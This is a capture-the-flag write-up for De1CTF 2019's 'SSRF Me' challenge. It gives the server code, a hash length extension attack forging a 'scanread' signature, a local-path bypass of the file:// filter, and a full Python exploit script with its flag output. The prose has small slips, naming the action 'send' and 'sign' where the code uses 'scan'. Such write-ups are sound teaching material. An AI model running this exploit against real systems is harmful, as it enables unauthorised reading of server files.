De1CTF 2019

Writeup of a challenge in De1CTF 2019

SSRF Me

Given the following server code:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

First, what does this actually do? We see that there are two endpoints available:

  1. /geneSign takes param, then returns this hashed with the action "send"  and a secret key.
  2. /De1ta takes param, action and sign (from the endpoint above). The server first checks that sign  is a valid signature for param and action. Once verified, based on the action provided, the server will load the resource at param (if "sign" is present in action) and return the contents of this loaded resource (if "read" is present in action)

Of course, action is fixed to be "scan" because /geneSign will only give us a signature with action = "scan". How can we get action to contain both "scan" and "read" then?

The answer is a hash extension attack (explained here). We can generate a signature, then use a tool like hashpumpy to calculate a new hash as if "read" was appended to the hashed string.

With this in mind, we can use the server to make and return the contents of an arbitrary resource. The question now is: where is the flag? After asking the organisers, it turns out that the flag is in ./flag.txt.

The most obvious way to retrieve ./flag.txt is to use the file:// URL scheme. However, this pesky function on the server prevents us from doing that:

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

This is the function that loads the resource:

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

After a bit of experimentation, it turns out that

urllib.urlopen("flag.txt")

will load flag.txt from the local file system.

The exploit thus looks like this:

import requests
import hashpumpy

TARGET_HOST = "http://139.180.128.86"
#TARGET_HOST = "http://127.0.0.1:5000"
VISIT_URL = "flag.txt"

# param is the url to visit
# action is what to do, should contain "scan" and "read"

def get_scanread_token(url):
    r = requests.get(TARGET_HOST + "/geneSign", params={"param": urllib.quote(url)})
    # md5(secret + url + "scan")
    scan_token = r.text

    print("Retrieved token for {}scan: {}".format(url, scan_token))

    # use a hash extension attack to append "read" to scan_token
    # 16 (length of secret) is known from the source code provided
    scanread_token, modified_data = hashpumpy.hashpump(scan_token, url+"scan", "read", 16)

    print("Token for {}: {}".format(modified_data, scanread_token))

    # modified_data is now url + "scan" + junk + "read"
    # strip the url from this to get the action
    action = modified_data[len(url):]

    return scanread_token, action

scanread_token, action = get_scanread_token(VISIT_URL)
r = requests.get(TARGET_HOST + "/De1ta", cookies={
    "action": urllib.quote(action),
    "sign": scanread_token
}, params={
    "param": VISIT_URL
})

print(r.text)

which when ran, results in the following:

justin@kali:~/de1ctf$ python ssrf_attack.py
Retrieved token for flag.txtscan: 8370bdba94bd5aaf7427b84b3f52d7cb
Token for flag.txtscanread: d7163f39ab78a698b3514fd465e4018a
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}